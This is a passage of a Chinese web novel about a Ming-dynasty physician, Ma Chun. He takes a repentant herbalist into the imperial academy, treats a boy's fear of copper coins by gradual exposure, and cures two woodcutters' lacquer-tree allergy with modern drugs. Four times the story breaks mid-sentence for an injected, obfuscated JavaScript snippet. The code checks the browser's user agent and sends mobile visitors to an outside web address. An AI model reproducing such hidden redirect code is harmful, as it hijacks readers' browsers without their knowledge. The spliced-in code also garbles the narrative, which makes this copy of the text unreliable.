他顿了一顿,说出建议:“我身为太医院院判,有调度、选用医官之责。此人在药理上有独到之处,尤其精于提炼和古方钻研,对太医院有益。我想留下他。在太医院挂个虚衔,给间静室,让他继续他的研究。太医院可以监管他的一切用药产出,杜绝类似温玉散的引子外流。”
“留着他在明处,或许也是钓出藏在他背后、掌握药方使用的‘那条鱼’的一个饵。只需适当放出风声,说‘鬼医’已为朝廷所抓……那些做贼心虚之辈,总会有动静。这总比现在大海捞针强。”
蒋瓛的目光在马淳脸上停留片刻。
最终,缓缓点头,“你既然觉得有用,那便按你的意思向陛下禀明。你是太医院院判,你的担保,陛下或能考量几分。”
他不再多言,转身大步向皇宫深处走去,“我这就去面圣!”
……
西暖阁。
朱元璋放下手中的密报,那是关于对昌隆远洋等几家商号收网的最新进展。
蒋瓛躬身行礼,将马淳的意思原原本本地转述。
朱元璋听完,没有立刻回应。
他背着手,缓缓踱步到窗边。
“马淳……想用那个老药罐子?”
“是,陛下。徐国公认为,宋青涯本身并无大恶,是难得的药材研究人才,留之有大用。且可作为诱饵。”
朱元璋转过身,“人才……难得。”
他没有马上开口,似乎在思考一个老药师的价值,也似乎在衡量更复杂的东西。
“温玉散的根子算是找到了。但这案子……没完。”他走了回来,“马淳是太医院正牌子院判。他既然开口要人,有他的理。朕信他能管住那老家伙的药炉子。”
他停顿了一下。
“至于钓鱼……朕倒要看看,这石头投下去,水里能跳出什么来。准了!就让那‘鬼医’进太医院!人交给马淳看管!”
“臣明白!这就去办!”蒋瓛干脆利落地抱拳领命。
……
诏狱的牢门再次打开时,宋青涯已近绝望。
他已经把马淳当作了最后一点人间的光,而光已离去。等待他的,大概是**,或者一碗穿肠的毒酒。他甚至开始盘算自己的死法。
当狱卒解开他手脚的铁链,说带他去太医院时,宋青涯只觉得自己的魂魄都在摇晃。
他以为自己听错了。
被拖出牢房,一直走到能看到**的地方,他才恍然醒悟。
这不是去刑场!
他被人架着,上了一辆封闭的马车,在颠簸中,懵懵懂懂地被送进了一座庄严肃穆、药香弥漫的官衙——太医院。
宋青涯被领到一处僻静院落。
院内干净整洁,有几株耐寒的药草在墙角挺立。
房门开着,当那个在诏狱里与他彻夜长谈、点破他半生迷障的熟悉身影,穿着一身青色的太医院官服,身姿挺拔地站在那里时,宋青涯如遭雷击。
是马淳!
可他……他怎么穿着官服?
这里是太医院……他是这里的……官?
宋青涯混浊的老眼瞪得滚圆,嘴巴张了又张。
他双腿一软,竟直挺挺地朝着马淳的方向跪了下去!
“马……马小哥……不,不……大……大人?是您……”他语无伦次,伏在地上,身体抖得不成样子。
马淳几步上前,将他搀扶起来。
“宋老不必如此。”他的声音依旧平静温和,带着一种安定人心的力量,“此间没有大人。只有同研医术的同行。我是马淳,太医院院判。”
“院判……太医院院判……”宋青涯重复着。
如此年轻……竟已是太医院院判?!
难怪……难怪他能一语道破自己数十年未解的困惑,眼界之宽,造诣之深……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029142|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
r>他原以为对方是哪个隐世名医的传人,或是深谙宫掖秘密的高人。
却万万没想到,是这样一位如此年轻的朝廷医官领袖!
巨大的感激和被拯救的庆幸,夹杂着对马淳身份与能力的敬畏,在宋青涯心中翻腾。
他老泪纵横,哽咽着:“老朽糊涂……有眼不识泰山……蒙大人……蒙先生再造之恩啊!老朽……”
他已经激动得说不出完整的话,又想跪下。
马淳稳稳地托住他的手臂。
“过去的事,无需再提。陛下恩典,留你在太医院效力,专研药术。这里往后就是你的地方。”他指着身后的几间静室,“可安心研究‘生生引’,也可尝试其他古方新法。所需药材、器具,报备之后,太医院会提供。”
宋青涯看着干净明亮的房间,看着那些熟悉的药柜轮廓,简直像在做梦。
“先生……大人……您……您还信老朽?还敢让老朽……”他看着自己的手,那双手曾无意间炼出了害人的药引。
马淳的眼神很坦诚。
“我相信你对药理的痴迷,也信你现在的悔悟。更重要的是,我相信,医道之途,万千歧路,知错能返,尚有可为。”他补充道:“你的两个弟子,随后就到。除此之外,我给你配两位助手,是太医院的年轻医士,药理基础扎实,也通文字记录,可在旁协助你研究,也能……帮你整理过往心得,避免再走极端弯路。”
宋青涯听完,猛地抬头。
不仅留他性命,给地方研究,还把他的徒弟找回来,又额外派给他帮手……
这等宽容与信任,他从未敢想!
眼泪再次模糊了视线。
这一次,不再有恐惧和绝望,只有汹涌的激动和对未来的希望。
“老朽……老朽……”他抹着泪,“唯以残生,研习正道,以报先生……以报大人……以报朝廷不杀之恩!绝不敢有负先生今日再造之德!”
他挺直了佝偻的背脊,眼中第一次燃起了沉甸甸的责任和一种全新的、名为“新生”的光芒。
马淳点点头。
“安心住下。这里没有诏狱。有难题,或想法,都可找我。”他说完,便转身离去,将那方小小的院落留给宋青涯。
阳光正好落进庭院。
宋青涯站在院中,仰头望着清冷的蓝天,深深吸了一口带着药草清香的空气。
他步履蹒跚,却又无比坚定地走向那间敞开的静室。
那里面有他的徒弟,有助手,有药炉,有他痴迷半生又险些毁掉他的药典……
第220章恐物症!被铜钱吓得抽抽!
马淳推开后院的门槛,徐妙云正坐在石桌旁,将晒干的药草分门别类。
抬眼见到丈夫归来,她手中动作未停。
“安置妥了?”
马淳在她对面坐下,“妥了。宋青涯入了太医院静室。”
徐妙云抬头看他,“那位‘鬼医’?”
徐妙云理了理手中的艾叶,“朝廷……就这么放心了?”
马淳将柴胡放回竹匾,“此人炼药痴迷成狂,心思却不在害人上。”
徐妙云若有所思,“痴药成疯……倒像是你。”
马淳摇头,“他一门心思只想攻克难关,救那些天生不足的羸弱胎儿。”
徐妙云手中动作稍顿,“求的是生道?”
“是。”马淳目光沉静,“只是路走得窄了,急功近利,偏了方向,被人利用。”
徐妙云轻叹一声。“也是个可怜人。一辈子熬尽心血钻药方,弄成了这样。”
“可怜亦可恕。”马淳拿起桌上铜杯倒了水,“他那点子偏执劲儿,用在正途上,未尝不能有大用。”
他饮了口水,“杀了他,不过是掐灭了一盏风中残烛,无益。”
徐妙云眼神明亮,“你做得对。人尽其才,亦是医者本心。”
马淳唇角微弯,“知我者,夫人。”
……
翌日清晨。
医馆刚刚开门,马淳坐在诊桌后整理案头脉枕。
门外阳光正好,几个村民蹲在墙根下闲聊。
“让让!让让!”一个压抑着哭腔的女声响起。
门口光线一暗,一对夫妇带着一个七八岁的男孩挤了进来。
夫妇穿着干净但洗得发旧的布衣,满面愁容。
那孩子被母亲紧紧牵着,瘦瘦小小,脸色苍白。
他的头深深地垂着,肩膀紧紧内扣。
眼睛死死盯着地面,仿佛那里埋着什么致命的怪物。
最引人注目的是他的两只手,竟用两条干净的蓝布牢牢缠裹着,只露出几根微微颤抖的指尖。
母亲眼眶通红。
父亲嘴唇干裂,紧张地搓着手。
“马大夫……求您……救救我家顺子吧……”母亲开口就带了哭音。
孩子听到“救”字,身体猛地一缩,几乎要躲到母亲身后去。
墙根下闲聊的村民被惊动,好奇地围拢到门口。
探头探脑往里瞧。
“这孩子咋了?”
“手咋包那样?”
“莫不是烫着了?”
“不像,你看他那样子……”
马淳放下手中脉枕,站起身,“莫急,坐下说。”
他亲自拖过一条小凳给孩子。
又给夫妇二人看座,孩子被父母半拉半按坐在凳上,头垂得更低,恨不得整个人缩成一团。
母亲拉着马淳的衣角,仿佛抓住了救命稻草,“马大夫……我们……我们实在没法子了!”
她的眼泪终于掉下来,“我家顺子……他……他不敢摸钱!”
“不敢摸钱?”旁边竖着耳朵听的村民老张头忍不住脱口而出。“钱都不敢摸?那不就是傻子……”
话没说完,旁边有人拉了他一下。老张头也觉失言,讪讪闭嘴。
门口议论声嗡嗡响起。
“钱都不敢碰?”
“俺活了大半辈子,头回听说……”
“怕是被啥东西吓掉了魂吧?”
马淳抬手虚按一下,门口的议论声低了下去。
他重新看向孩子母亲,“不敢摸钱?具体是怎么个不敢摸法?”
母亲抹着泪,“开始是去年夏天……那时家里忙收麦子,顺子在屋角玩,摸到一个我掉在那儿的铜板,没啥事。”
“后来不知哪天……突然就……就……”
旁边的父亲接过话头,“他看见铜钱、银角子……甭管谁家搁在哪儿的……脸唰地就白了!全身发抖!”
“有次我家那婆娘顺手递给他两个铜子去买盐……”
“孩子像接了什么滚烫烙铁似的!一声尖叫!猛地就摔在地上!抽得浑身打挺!口吐白沫啊!”
“就跟……就跟被厉鬼掐住脖子一样!”
门口响起一片吸气声。
围观的村民个个瞪大了眼。
“我的老天爷……”
“看见钱就犯羊癫疯?”
“这……这邪门啊!”
母亲啜泣着。“从那以后,他看到带钱眼儿的铜板、铜钱样的东西就发抖。”
“连人家做游戏画的铜钱圈,他都不敢踩!”
“家里凡是能沾上边的……水烟袋、铜壶、铜锁……连木匣上的铜片扣……都让他害怕!”
“前天……”母亲的声音带上惊悸,“他在学堂……先生讲大课,桌上放着一个给学子示范的洪武通宝,顺子刚瞧见那轮廓身子一歪就从椅子上滑下去了!”
“又是那副样子!抽得没了人形!学堂先生差点吓背过气去……”
“这不……”她解开孩子手上缠得紧紧的蓝布。
孩子的手像受惊的兔子一样猛地缩进袖子里,只露出手腕,手腕瘦削,上面竟赫然有几道新鲜的、自己抓挠出来的血痕!
“回来就神神叨叨……用指甲抠自己……嘴里念着:‘红的、黑的……缠上来了……’”
“我们实在害怕……”母亲泪如雨下。“只能给他包上手……绑着睡觉。马大夫……您说说……这是什么怪病?是中了邪?还是被什么脏东西缠上了啊?”
门口村民屏住呼吸,一双双眼睛全落在马淳身上,等着他的“说法”。
马淳没看那些灼热的眼神。
他缓缓蹲下身,视线与那蜷缩在凳子上的孩子平齐。
他没有试图去碰触孩子缩进袖口的手。
“顺子?”他声音放得很轻。
孩子身体缩了一下,只露出一小段苍白脆弱的脖颈。
“顺子,看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039565|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着我的手。”马淳平静地说。
他没有拿出任何东西,只是缓慢地伸出自己的右手,掌心向上,空无一物。
“看着我空空的掌心。”他的声音仿佛有魔力。
那叫顺子的孩子,在长久的沉默和轻微的颤抖后,眼珠子,极其缓慢地从地面向上抬。
一丝一丝,无比艰难,最终,定格在马淳摊开的、干净的掌心上。
那里什么都没有,孩子紧绷的身体,似乎极其轻微地松弛了一丁点。
马淳就这样保持着摊开手掌的姿势,目光温和平静地看着孩子惊恐未定的眼睛。
“瞧见了?”他问。“空的。”
没有压迫,没有强迫,只是陈述一个事实。
顺子死死地盯着那只手,看了好一会儿,极其轻微地点了一下头。
马淳这才站起身,对眼巴巴看着他的父母,也对门口大气不敢出的村民。
“此症,名曰恐物症。”
“恐物症?”顺子爹茫然重复。“惧怕某物?”
“不错。”马淳走回诊桌后坐下。
“你们说他怕钱?”
村民老李头忍不住插嘴。“钱可是好东西啊!这年头……”
马淳抬手止住他的话。
“病在心,不在物。”他看向顺子爹娘。“顺子去年夏日曾安然摸过钱币?”
“是!”
“事后可有特别经历?”
顺子爹用力回想。
母亲却眼睛一亮。“有!”
“有天……村里来了个走方卖大力丸的,那汉子满口黄牙,说话喷唾沫星子,他手里攥着好些铜子儿叮当响,硬拉着几个后生掰腕子赌钱,那时乱哄哄的,不知怎地……”母亲回忆着。
“那汉子突然就捂着心口栽倒!脸像猪肝一样涨紫,手里攥着的铜板掉在泥地上……”
“他就那么大睁着眼……在那堆铜钱中间……抽搐……最后不动了!”
“顺子……顺子当时也在边上看热闹……”
马淳点点头,“事后,可有人细说过此事?”
父亲一拍大腿,“有!咋没有!那会儿都传遍了!说他定是贪黑赌钱惹恼了哪路凶神……还有说那铜钱……八成是邪物,沾着赌鬼的晦气,摸多了要损阳寿……”
“小孩子更不能碰,会勾走魂……”
门口的几个老人露出“恍然”的神色。
“敢情是被这事吓着了!”
“那场面……”马淳看着身体又开始轻微发抖的顺子,“这就是病根,惊恐太过,伤心神。”
“彼时目睹惨状,心神受巨震。那钱币与死亡恐惧强行扭结在心,如同烙印。”
“其后旁人无知妄言,火上浇油。将此物钉死于生死之惧中。再睹此物……”马淳更有力。“犹如再见当日濒死惨状。心神立崩,躯体失控。”
“此病不在钱上。”他看向门口众人,“在心。”
……
第221章原来是看到铜钱杀了人吓的
“在心?”村民老张头满脸困惑。“那……咋治?”
“是啊!总得知道怕啥吧?”顺子娘急切追问,“总不能……一辈子躲着吧?”
马淳站起身,走到诊桌侧面放着的一个小木箱。
他打开木箱,里面是一些晒干的葫芦、小小的草编蜻蜓、光滑的鹅卵石、几块染色的碎布头,都是些哄孩子的小物件,唯独没有金属制品。
他取出一块光滑圆润的青黑鹅卵石,石温润如玉,在掌心摩挲片刻,然后走向顺子。
依旧蹲下身,掌心托着那块石头,稳稳地递到顺子低垂的视线之前。
“看这个。”他声音稳如磐石。
顺子的目光从地面一点点抬起,落在石头上。
石头无棱无角,温润安静,与那冰冷带孔、曾与死亡相连的铜板截然不同。
孩子的眼睛死死盯着它,身体绷紧,但没有颤抖,只是极度警惕。
“看见了吗?一块石头。摸过吗?”
孩子几不可察地摇头。
“想摸摸看吗?”马淳的声音很慢。“试试?”
石头静静地躺在宽厚的掌心,没有任何攻击性。
周围所有人都屏住了呼吸。
母亲捂住了嘴,父亲眼睛瞪得溜圆。
门口村民伸长了脖子,顺子的手指在袖口微微动了一下,像受惊的小虫子,又缩了回去。
马淳不动,只托着石头。
“它凉吗?”
孩子没反应。
“硬吗?”
依旧沉默。
“它……有孔吗?”马淳问了一个奇怪的问题。
这个问题似乎刺中了某个点,顺子的眼睛猛地抬了一下,飞快地瞥了石头一眼,又垂了下去,轻轻摇头,“没……孔……”
“它像铜子儿吗?”马淳追问。
“……不像……”声音几乎低不可闻。
“怕它吗?”
孩子沉默了很久很久,仿佛在和自己内心巨大的恐惧搏斗。
终于,一个微弱的、带点不确定的声音响起,“不……怕……”
马淳脸上没有任何多余的表情。
他将托着石头的手,向前再递了半分。
更近。
离孩子缩在袖口的手近在咫尺。
“那……”马淳的声音带着一种循循善诱的耐心,“敢把石头拿过去吗?放在你自己的手里。就一会儿。”
整个医馆,鸦雀无声。
所有人都盯着那只手,那只袖口里的手。
时间一点点流过,孩子的呼吸有些急促,额角渗出汗珠。
马淳的手很稳,石头在他掌心纹丝不动,不知过了多久,也许是几十次心跳,也许是更短更长。
只见那双缠裹得只剩指尖的手,极其极其缓慢地,从衣袖里挪了出来。
颤抖着,一点一点,伸向那块安静躺着的石头。
冰凉的指尖触到了同样冰凉的石头表面。
他像被针刺了一下,猛地一缩,又停住。
马淳的目光平静依旧,顺子咬住苍白的下唇,猛地伸手抓住了那块鹅卵石!紧紧攥在手心!仿佛用尽了全身的力气!
然后,他闭上了眼睛。
身体仍在轻微颤抖,但预想中的恐怖景象没有到来,只有石头坚硬的棱角和手心汗水的黏腻。
“拿住了?”马淳问。
“……嗯……”
“睁开眼。看看它。在你手里。”
顺子一点一点睁开眼。
低头看着自己紧握的拳头。
缝隙里露出石头的青色,他小心翼翼地打开手掌,石头安静地躺在掌心。
没有孔,没有刺耳的碰撞声,没有扭曲的死亡面孔,它只是一块光滑的石头。
顺子茫然地看着它,又看看马淳,再看看父母,最后又死死盯着石头。
眼眶慢慢地红了。
一滴滴豆大的泪珠毫无征兆地滚落。
“瞧!石头!”他哽咽着,语无伦次。“它……它没变红……没变成……血……眼睛……”
“也没响……”
“它……它好好的……”
孩子放声大哭起来。
不是恐惧的尖叫,是长久压抑的惊恐、委屈、困惑终于找到了宣泄口。
哭得上气不接下气,却不再是那种要窒息而亡的抽动。
门口围观的村民,看着那孩子攥着石头哭得涕泗横流的样子,一个个面面相觑,脸上的震惊和茫然渐渐被一种恍然取代。
“敢情……不是那物件邪性……”
“是吓出来的病根?”
“心里的病?”
“对对对!马大夫说了!在心!不在物!”
“吓着了……”
“可不咋的!那么大娃娃看见人死在跟前,能不害怕?”
“又听了那么多神神鬼鬼……”
“难怪啊……”
“心伤了……”
顺子爹娘听着孩子的哭声,看着他那攥着石头的手,脸上又是心酸又是巨大的惊喜。
“顺子……顺子能拿东西了!”顺子娘想上前抱孩子。
马淳抬手制止,“让他哭。让他拿着。”
他对夫妇二人道。“此病非一日之寒。亦非一日之功可除。惊恐盘踞心底,如同顽石垒巢。需以
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039566|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
韧力,细水长流,层层撼动。”
他开出一纸方子。“方以安神定志汤为主。熟地、远志、茯神、龙骨、牡蛎……滋养心神,稳固心志。”
他看向顺子爹娘,语气郑重,“药石为辅,心思为本。今日他敢抓这块石头,明日,便放一块打磨光滑的黄铜片于桌面远角。”
“无须触碰,只让他远远看着,不惧时,再近一尺,再近一尺。日磨一寸,待可坦然视之,再试以指尖轻触。日进一毫,日省微功。”
他最后指向门口那块悬着的木牌。
上面是“医病、医人、医心”六个朴拙的大字。
“所谓恐物症,惧非物也,惧心伤之下,所见皆化梦魇。”
“医此症……”马淳的声音清晰地回荡在安静的医馆里,传入门扉外所有竖着耳朵聆听的村民心中。
“首要,破其心中魔障,再令其重获识物辨物之安然。”
“此……方为‘医心’。”
话音落下,门口人群寂静片刻,随即爆发出阵阵由衷的感叹。
“原来是这样!”
“明白了!明白了啊!”
“是心病!”
“马大夫……真神了!”
人群议论着,看向医馆内那挺拔身影的眼神,充满了敬畏与叹服。
那攥着石头哭泣的孩童,那泪眼婆娑、激动不已的父母,那平静讲述医理的大夫,都映在所有人眼中。
顺子爹噗通一声跪下,咚咚咚磕了三个响头。
“谢马大夫救命之恩!”
“谢您给俺家指了条明路啊!”顺子娘也跟着跪下,泣不成声。
马淳上前将二人扶起,“不必如此。”
他看向渐渐止住哭泣,攥着石头抽噎的顺子,“带他回去,按我说的做,静心调养,会好的。”
徐妙云一直在药柜后静静看着。
此刻她端着一盏安神的热茶走来,轻轻放在顺子父母手边,脸上带着温和的笑意。
“孩子受了惊扰,父母心力交瘁,都不容易,这盏宁心茶,润润喉,回去的路,长着呢。”
她温婉大气的言语,如春风化雨,抚平了夫妇心头的焦灼与悲苦。
顺子爹娘千恩万谢,交了诊费,带着依旧紧握石头、情绪平复许多的顺子,一步三回头地离开了医馆。
【叮!救治恐物症患者一名,获得10积分!】
村民们望着他们离去的背影,有的还在摇头感叹“怪病”。
有的则是低声议论着“心病还得心药医”。
有的则把敬畏的目光投向医馆里的年轻院判……
第222章漆树过敏!很是罕见!!
翌日一早,医馆刚开门不久,两个男人便一前一后,脚步虚浮地踏进了小青村的医馆门槛。
一人裹着北方常见的旧羊皮袄,风尘仆仆,面色焦黄。
另一人则是南地常见的棉布短打,瘦削疲惫。
两人互不相识,眼神茫然,却在药堂里不约而同地停下了脚步。
“马大夫……”羊皮袄汉子捂着肚子,“求您救命,我快不行了……”
棉布短打的男人也紧跟着开口,“大夫,我也一样!浑身难受!起疙瘩!”
马淳放下手中正要分拣的当归片,眉头微皱。
他目光扫过两人,心里咯噔一下。
太像了。
羊皮袄汉子露出的手臂和脖颈上,布满大片鲜红的斑疹,微微隆起,触目惊心。他的嘴唇也肿得厉害,喘息间带着一种费力的嘶嘶声。
棉布短打的男人挽起袖子,手臂上同样是大片相同的红疹,又肿又痒。他也时不时干咳两声,喉咙似有异物。
两人症状如同一个模子刻出来。
“两位莫慌。”马淳起身,“先坐下,慢慢说。从哪里来?生病前可曾去过同一处地方?吃过什么特别的东西?”
羊皮袄汉子喘着粗气:“俺、俺是北坡村的王石墩。俺们村子好好的,就俺一个这样。也不知中了啥邪!浑身痒得像有虫子钻,还憋得慌!”
棉布短打的男人立刻摇头:“我是南洼村的李水生。我们村也没事。我也是突然就这样了!跟撞了邪祟似的!”
马淳心中疑云更重。
两地相邻不远,同发怪症,症状分毫不差,却都声称村子无其他人染病,互不知情?不像是寻常疫病。
他搭上王石墩的手腕。
脉象浮而数,指下皮肤灼热。
又仔细查看李水生的疹子,形状大小颜色完全一致,边缘清晰。
“二位仔细想想,”马淳追问,“生病前一两天内,都接触过什么新奇的草木?或者去过哪些平日少去的地方?”
王石墩皱眉思索:“俺……俺就在家拾掇些柴火。对了!前天去后山砍柴,回来就有点痒了!”
李水生眼睛一亮:“我也是前天上山砍竹子!回来就不对劲了!不过我们村子挨着山,砍柴砍竹子常有啊,别人也没事!”
后山?
马淳立刻追问:“山中可有什么特殊之处?可见到什么开花的树?或者汁液粘稠的草木?”
两人面面相觑,都摇头表示没特别留意。
线索似断非断。
门外已聚了几个闻讯来看热闹的村民,探头探脑地低语着:“怪了,一个模样!”
“莫不是沾了啥山鬼地精?”
“瞧着怪吓人的!”
徐妙云端来两碗清水递给二人,目光落在疹子上,秀眉微蹙。
小六也站在师父身后,紧张又好奇地看着。
马淳不再询问。
他闭目沉思,将两人症状细节在脑中过了一遍。
红疹,隆起,边缘清晰。伴瘙痒。还有一人呼吸不畅,嘴唇肿胀。
结合皆上山砍柴。
这让他想起一种可能。
漆树!
漆树汁液,常人接触无事。
但极少数人沾染,便会生出这等反应。
红疹肿痛,瘙痒难耐。
重者呼吸困难,危及性命。
谓之“漆疮”或“过敏”。
症状与眼前二人,完全吻合。
马淳睁眼,心中已有判断。
他向二人确认:“砍柴处,是否有落叶卵圆、或有细小黄花的树木?”
两人努力回忆。
王石墩道:“俺砍柴那林子,是有叶子宽大的矮树丛……”李水生补充:“我砍竹子那里也有一片杂树,好像有开着黄点点花的……”
马淳点头,定是漆树无疑!
漆过敏!
大明时期,漆器虽普及,但普通百姓未必能认识漆树本体,尤其在野山里无意沾染时,他们这是急性过敏症状。
马淳闭上眼睛,意念沉入系统,兑换了几样东西。
口服抗组胺药物(如氯雷他定)、外用弱效皮质类固醇药膏(如氢化可的松乳膏)
他从随身药箱深处(实际是系统空间),不动声色地取出兑换好的药物。
一粒白色小药片,一支装着透明药膏的小瓷盒,还有一支小小的医用滴管。
他拿着药片和滴管走到小六面前。
“妙云,你心细。用这滴管取半碗清水。”马淳递给他,“将这颗小丸药在水中彻底碾碎化开,分成两半,端给两位病人服下。”
现代药物必须捣碎分服便于入口。
徐妙云点点头:“好!”
小心翼翼接过药丸和滴管,立刻去桌边认真操作。
马淳又拿出那支小瓷盒,走向小六:“这是外用的药膏。小六你待会儿帮病人涂于患处,薄薄一层即可。”
小六接过小瓷盒看了看,里面是颜色浅淡的膏体,他点头:“是师父!”
趁徐妙云化药的空当,马淳开始对围观的村民和两位病人解释。
“诸位乡亲,并非疫病,也非邪祟。”他的声音传遍堂内堂外,“此乃‘漆毒’作祟,一种罕见的‘过身症’。”
“‘过身症’?”王石墩和李水生同时抬头,一脸茫然。
“正是。”马淳继续道,“漆树,山林中常见。其树汁对大多数人无害,如同常人吃鱼虾无虞一般。但对极少数特定之人,树汁仿佛带毒。”
他指着两人身上的红疹:“看这疹子隆起发红?这便是他们自身之体过度卫护。漆汁如误入领地的生人,身体的‘卫士’们警铃大作,倾力围剿。
“皮肤下的‘卫士’倾巢而出时,挤压管壁,便觉憋闷喘息困难;大量‘卫士’涌至皮肤表面,便会激出这赤红发痒的疙瘩,状如风团风疹。”
他比喻得极浅显,“这便是‘过身’之意。自身卫护过度反噬自身。”
此时徐妙云已把化开两份药水的碗端来,分别递给王石墩和李水生。
“这是平息‘卫士躁动’的药汤。喝下可安抚这些‘卫士’,令其平息。”
两人半信半疑,但难受至极,接过碗仰头灌下。
药水无色无味。
小六好奇地问:“师父,这药汤喝了,‘卫士’真的就听话了?”
“嗯。”马淳点头,“它能安抚体内
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039567|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那些过度反应的‘卫士’,使它们安静下来。瘙痒憋闷的症状,很快就能减轻。”
小六已洗净手,执起那支小瓷盒。他走到王石墩身边,用指尖挑起一点透明药膏,动作轻柔地涂抹在他手臂的红疹上。
“此乃凉膏,外敷患处。”马淳对王石墩解释,又转向李水生,“能消赤肿,止痒毒。”
药膏涂抹之处,王石墩忍不住发出一声轻叹:“咦?凉丝丝的……好像真没那么痒得钻心了!”
李水生也正眼巴巴看着小六过来给他涂药,闻言惊奇不已:“真的?快给我也涂涂!”
小六细致地将药膏涂抹在李水生的疹子上。
李水生闭着眼,感受着那股清亮舒服的凉意渗入灼热瘙痒的皮肤,长长舒了一口气。
“舒服!舒服多了!神仙药啊!”
围观的村民们看得目瞪口呆。
刚才还瘙痒难耐、喘息粗重的两人,服药涂膏才半炷**夫不到,脸上的痛苦便肉眼可见地褪去了。
王石墩用手轻轻按了按自己的脖子,那里原本的红肿已消退不少,也敢大口喘气了:“嘿!真神了!胸口也不堵了!”
李水生则是抓挠手臂的次数明显减少,兴奋道:“马大夫,这凉膏真是好东西!涂上去跟泼了冰水一样,舒坦!”
门口的议论声由开始的惊疑变成了叹服。
“啧!马大夫真是华佗在世啊!”
“说不是疫病就不是疫病,一眼就看穿了!”
“‘过身症’?原来是这样!以前听都没听过!”
“这药也太灵了!立竿见影啊!”
“那树汁听着就吓人,以后上山砍柴真得小心了!”
马淳见两人症状缓解,对徐妙云和小六叮嘱:“‘卫士’虽然暂时安抚,但体内风邪未散尽。小六,记下方子:荆芥穗、防风各三钱,地肤子、白鲜皮各二钱,生甘草一钱。开给两位,回去连服三日。”
“妙云,那凉膏每人再分一小盒给他们,睡前再涂一次,巩固疗效。”
小六应声,立刻伏案开方。
徐妙云将剩下的药膏分成两份。
马淳看向两位脸上重燃希望的病人:“你二人皆因无意间沾染漆树汁液致病。日后进山,需留意此种树叶如卵圆形、有细小黄色花朵之树,尤其避其汁水。若不慎沾染,速以大量清水冲洗,即刻来此。”
王石墩和李水生这才恍然大悟,连声道谢:“原来如此!谢谢马大夫!多谢夫人!多谢小兄弟!”
“您真是救了我们两条命啊!”
“这药太神了,跟仙丹似的!”
两人千恩万谢,拿了方子和药膏,付了诊费,精神焕发地离开了医馆,临行前还不停地赞叹着马大夫的神奇医术和那药的神效。
医馆里恢复了平静。
【叮!成功救治漆树过敏症患者两名,获得20积分!】
百姓们的议论声还未散尽,充满了对医道的惊叹。
“原来不是瘟疫,是自己身板跟那树汁‘犯冲’!”
“马大夫这眼睛,比老天爷还亮堂!”
“神医开仙药,今天可算开眼了!”
……
第223章吕氏快要病**!!
日头暖了些,风却依旧寒。
徐妙云站在院子里那株老梅树下,仰头望着枝头零星几点嫩黄花蕊。
寒冬未尽,这点生机显得格外珍贵。
她宽大的冬衣已掩不住她腹部浑圆的轮廓。
“在看什么?”
温厚的声音自身后传来,一件带着体温的素锦面厚绒披风轻轻落在她肩上。
是马淳。
他转到妻子身前,仔细系好领口的系带,又替她拢了拢垂下的碎发,动作带着惯有的沉稳。
徐妙云收回望向梅枝的目光,手很自然地搭在隆起的腹部上,轻轻抚了抚,“瞧瞧这点花苞,冰天雪地里也压不住。看着它们,心里就觉得舒坦。”
马淳的目光也落在那稀稀疏疏的寒梅上,唇角微扬。“草木之心,亦有其韧。寒冬总会过去。”
他轻轻揽住徐妙云的肩头,将她往自己身侧带了带,“外头寒气重,看一会儿便回屋吧。我叫小六把暖炉再添旺些。”
“嗯。”徐妙云顺从地点点头,身子大半重量倚在马淳臂弯里,显得很安心。
她将手心覆在丈夫的手背上,掌下的腹部传来一下轻微的蠕动。
她轻轻“呀”了一声,带着笑意的眸子立刻转向马淳。
马淳显然也感觉到了手掌下那瞬间拱起的力道,他那总是沉静如深潭的眼眸里,倏地掠过一丝亮光。
宽厚的手掌不由自主地、又带点试探性地,在徐妙云的肚腹上稍稍移动,似乎想更清晰地捕捉那奇妙动静的来源。
徐妙云笑出声,“急什么?这孩子近来有力气多了,每日总要动上几回。”
马淳没说话,只是扶着妻子,在院中梅树旁的小石凳上慢慢坐下,自己则半蹲在她身前。
